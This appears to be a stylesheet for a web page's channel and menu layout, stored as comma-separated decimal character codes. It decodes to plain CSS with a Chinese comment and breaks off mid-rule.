116,111,112,105,99,123,13,10,9,119,105,100,116,104,58,57,54,37,59,13,10,9,116,101 ,120,116,45,97,108,105,103,110,58,108,101,102,116,59,13,10,125,13,10,35,76,101,10 2,116,67,104,97,110,110,97,108,32,46,98,111,116,116,111,109,44,35,82,105,103,104, 116,67,104,97,110,110,97,108,32,46,98,111,116,116,111,109,123,13,10,9,100,105,115 ,112,108,97,121,58,110,111,110,101,59,13,10,125,13,10,35,76,101,102,116,67,104,97,110,110,97,108,32,46,98,111,116,116,111,109,50,44,35,82,105,103,104,116,67,104,9 7,110,110,97,108,32,46,98,111,116,116,111,109,50,123,13,10,9,100,105,115,112,108, 97,121,58,110,111,110,101,59,13,10,125,13,10,35,77,97,105,110,67,104,97,110,110,9 7,108,32,46,98,111,116,116,111,109,123,13,10,9,98,111,114,100,101,114,45,98,111,1 16,116,111,109,58,49,112,120,32,100,97,115,104,101,100,32,35,53,54,57,67,70,67,59 ,13,10,125,13,10,13,10,35,77,97,105,110,67,104,97,110,110,97,108,32,46,116,111,11 2,105,99,123,13,10,9,109,97,114,103,105,110,58,51,112,120,59,13,10,9,102,111,110, 116,45,115,105,122,101,58,49,50,112,120,59,13,10,9,99,111,108,111,114,58,35,48,48 ,52,50,56,52,59,13,10,9,116,101,120,116,45,97,108,105,103,110,58,108,101,102,116, 59,13,10,9,116,101,120,116,45,105,110,100,101,110,116,58,49,48,112,120,59,13,10,9 ,112,97,100,100,105,110,103,58,51,112,120,32,48,32,51,112,120,32,48,59,13,10,9,98 ,97,99,107,103,114,111,117,110,100,45,99,111,108,111,114,58,35,68,53,69,65,70,54, 59,13,10,9,98,111,114,100,101,114,45,98,111,116,116,111,109,58,49,112,120,32,115, 111,108,105,100,32,35,66,57,68,52,69,52,59,13,10,125,13,10,13,10,46,104,105,100,1 01,32,46,99,111,110,116,123,100,105,115,112,108,97,121,58,110,111,110,101,59,125, 13,10,46,103,104,111,115,116,123,98,111,114,100,101,114,58,49,112,120,32,100,97,1 15,104,101,100,32,103,114,97,121,59,125,13,10,46,102,108,111,97,116,123,112,111,1 15,105,116,105,111,110,58,97,98,115,111,108,117,116,101,59,122,45,105,110,100,101 ,120,58,49,48,48,59,109,97,114,103,105,110,58,48,112,120,59,112,97,100,100,105,11 0,103,58,48,112,120,59,111,118,101,114,102,108,111,119,58,104,105,100,100,101,110 ,59,108,105,115,116,45,115,116,121,108,101,58,110,111,110,101,59,45,109,111,122,4 5,111,112,97,99,105,116,121,58,46,55,53,59,102,105,108,116,101,114,58,65,108,112, 104,97,40,111,112,97,99,105,116,121,61,55,53,41,59,125,13,10,46,119,101,98,78,111 ,116,101,123,98,111,114,100,101,114,58,49,112,120,32,100,97,115,104,101,100,32,35 ,102,102,102,102,101,48,59,125,13,10,116,101,120,116,97,114,101,97,46,119,101,98, 78,111,116,101,123,111,118,101,114,102,108,111,119,58,104,105,100,100,101,110,59, 119,105,100,116,104,58,49,48,48,37,59,98,97,99,107,103,114,111,117,110,100,58,116 ,114,97,110,115,112,97,114,101,110,116,59,125,13,10,35,76,101,102,116,67,104,97,1 10,110,97,108,32,46,98,111,100,121,49,44,35,82,105,103,104,116,67,104,97,110,110, 97,108,32,46,98,111,100,121,49,123,13,10,125,13,10,35,77,97,105,110,67,104,97,110 ,110,97,108,32,46,98,111,100,121,49,123,13,10,9,102,108,111,97,116,58,108,101,102 ,116,59,119,105,100,116,104,58,53,48,37,59,13,10,125,13,10,47,42,45,45,45,45,45,4 5,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,4 5,32,42,47,13,10,47,42,35774,32622,33756,21333,26679,24335,42,47,13,10,100,105,11 8,46,115,101,116,109,101,110,117,123,98,111,114,100,101,114,58,49,112,120,32,115, 111,108,105,100,32,35,50,50,50,59,112,97,100,100,105,110,103,58,51,112,120,59,99, 111,108,111,114,58,35,50,50,50,59,119,105,100,116,104,58,32,50,54,48,112,120,59,1 12,111,115,105,116,105,111,110,58,97,98,115,111,108,117,116,101,59,122,45,105,110 ,100,101,120,32,58,49,48,48,59,98,97,99,107,103,114,111,117,110,100,45,99,111,108 ,111,114,58,35,101,101,101,59,125,13,10,100,105,118,46,115,101,116,109,101,110,11 7,32,46,116,105,116,108,101,123,109,97,114,103,105,110,45,116,111,112,58,52,112,1 20,59,102,111,110,116,45,119,101,105,103,104,116,58,98,111,108,100,59,112,97,100, 100,105,110,103,58,50,112,120,59,98,97,99,107,103,114,111,117,110,100,45,99,111,1 08,111,114,58,35,101,101,101,59,98,111,114,100,101,114,45,98,111,116,116,111,109,。